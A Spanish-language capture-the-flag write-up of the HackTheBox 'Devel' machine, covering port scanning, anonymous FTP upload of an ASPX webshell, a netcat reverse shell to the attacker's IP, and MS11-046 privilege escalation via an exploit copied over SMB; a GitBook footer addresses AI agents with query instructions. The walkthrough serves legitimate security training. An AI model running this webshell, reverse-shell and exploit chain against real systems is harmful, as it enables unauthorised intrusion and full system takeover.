> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md).

# Resolución de HackTheBox Devel

{% embed url="<https://app.hackthebox.com/machines/Devel>" %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/10e2b8add5bf21d1ab839d965d188b903cc05002" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/f2c05e7531994e4a52776bb134755e148cead204" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.5 -oG allPorts
```

<figure><img src="/files/14424fe2ca33a014eece5bf33c1db2ef288ee4c9" alt="" width="563"><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usando la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles.

<figure><img src="/files/b12dbc03a32aceca1db8cceb44659c51b1ddf13f" alt="" width="563"><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p21,80 10.10.10.5 -oN targeted
```

<figure><img src="/files/429610557ea54ca19d10f4cf76e765f5f7784f24" alt=""><figcaption></figcaption></figure>

## **Análisis de servicios**

### **Puerto 21 - FTP**

El servidor FTP es accesible con credenciales anónimas. Al explorar el directorio FTP, descubrimos tres archivos:

* **`aspnet_client`**
* **`iisstart.htm`**
* **`welcome.png`**

<figure><img src="/files/6450df015e07ffd528da9f7fd6ba7ace0952c2c5" alt=""><figcaption></figcaption></figure>

La imagen **`welcome.png`** parece ser un banner estándar.

<figure><img src="/files/5184895847f2eea972ea0ac49106f412431b2d1f" alt=""><figcaption></figcaption></figure>

### Puerto 80 - HTTP:

El servidor HTTP muestra una página con el mismo banner que el encontrado en el FTP. Esto sugiere que el sitio web recupera sus archivos directamente del servidor FTP.

<figure><img src="/files/46ad1bd09c8c3fec3ca7c946c5b0fa94ef445a02" alt=""><figcaption></figcaption></figure>

#### **Pruebas de escritura en el FTP**

Al probar los permisos de escritura en el servidor FTP, confirmamos que es posible añadir archivos con el comando

```bash
put test.txt
```

<figure><img src="/files/46645dbd59c695c1544d5d377fb8e45d55367a0b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ee4332e0564cfc6df97a5638db2f76505f4f6e03" alt=""><figcaption></figcaption></figure>

## **Explotación - Shell inversa vía FTP**

### **Carga de Web Shell ASPX**

Usamos una webshell preexistente, **`cmd.aspx`**, de SecLists:

```bash
locate cmd.aspx
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

Luego la importamos al servidor FTP:

```bash
ftp 10.10.10.5
anonymous
put aspx_cmd.aspx
```

Accedemos a la webshell a través del servidor HTTP y ejecutamos comandos, por ejemplo:

```bash
ipconfig
```

<figure><img src="/files/93f61c033950034f2f0400f4308ac718aa723f50" alt=""><figcaption></figcaption></figure>

### **Subir el `nc.exe` binario para una shell inversa**

Descargamos **`nc.exe`** de SecLists:

```bash
locate nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Luego lo añadimos al servidor FTP:

```bash
ftp 10.10.10.5
anonymous
put nc.exe
```

Desde la webshell, localizamos el **`nc.exe`** archivo en el servidor objetivo:

```powershell
dir /s C:/nc.exe
```

### **Configuración de la shell inversa**

<figure><img src="/files/2451eeee3dd2358bb505c8ec09cb5c20aa45bec2" alt=""><figcaption></figcaption></figure>

**Escuchar en el puerto 443:**

Configuramos un listener con `nc` para escuchar en el puerto 443:

```bash
rlwrap nc -nvlp 443
```

Desde la máquina objetivo, ejecutamos el siguiente comando a través de la webshell:

```powershell
C:/inetpub/wwwroot/nc.exe -e cmd 10.10.14.26 443
```

<figure><img src="/files/c004c04d96304a6357f2f2273f4310234aeac090" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

### Explotación del kernel <a href="#kernel-exploitation" id="kernel-exploitation"></a>

#### **Comprobación de información del sistema**

Con la **`systeminfo`** comando, identificamos que la máquina usa **Windows 7 Enterprise**, lo que abre la posibilidad de explotar vulnerabilidades conocidas para esta versión.

```powershell
systeminfo
```

El resultado nos indica que la máquina usa **Windows 7 Enterprise**, con la siguiente versión:

```plaintext
OS VERSION: 6.1.7600 N/A Build 7600
```

<figure><img src="/files/859be0bf625c529300897f8cc179cfc8cd2e0de3" alt=""><figcaption></figcaption></figure>

### **Explotación de la vulnerabilidad MS11-046** <a href="#ms11-046-vulnerability-exploitation" id="ms11-046-vulnerability-exploitation"></a>

Esto nos permite saber que la máquina puede ser vulnerable a algunos fallos conocidos, como **MS11-046**, una vulnerabilidad en el servicio **Windows SMB**.

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046>" %}

> Vulnerabilidad **MS11-046** permite a un atacante ejecutar de forma remota con privilegios **NT AUTHORITY/SYSTEM** a través del servicio SMB. Para explotar esta vulnerabilidad, transferiremos y ejecutaremos un archivo malicioso en la máquina objetivo.

<figure><img src="/files/8a782ad6b294969e769f5e6c2f8b19f487aa210d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/74531b85eff973c640b76177fc94dbb8d32651f2" alt=""><figcaption></figcaption></figure>

### Transferencia de archivos en Windows (smb) <a href="#file-transfer-windows" id="file-transfer-windows"></a>

> Usamos **smbserver.py** para compartir un directorio que contiene el archivo de explotación **ms11-046.exe**. Este archivo se copia luego a la máquina objetivo.

```bash
smbserver.py share $(pwd) -smb2support
```

Desde la máquina objetivo, copiamos el archivo malicioso usando el comando SMB:

```powershell
copy //10.10.14.26/share/ms11-046.exe ms11.exe
```

<figure><img src="/files/493707b5b3b5a1bccee1da6138edf2cbb5929b17" alt=""><figcaption></figcaption></figure>

**Ejecución de la operación**

Una vez transferido el archivo, ejecutamos **ms11-046.exe** en la máquina objetivo para explotar la vulnerabilidad y obtener una shell con privilegios SYSTEM. Para ello, usamos el siguiente comando:

```powershell
./ms11.exe
```

<figure><img src="/files/532b452ce58b434a0aae3f902cf4301a6555769f" alt=""><figcaption></figcaption></figure>

### Bandera user.txt :)

<figure><img src="/files/b75d076946cbe8c347da8101f9fd9838c132de94" alt="" width="563"><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/8a90859ebf68a626fec2badc3af1b1d1b0691854" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/3bdc692516fa7ec7503e12b067482320d2ba1fd3" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
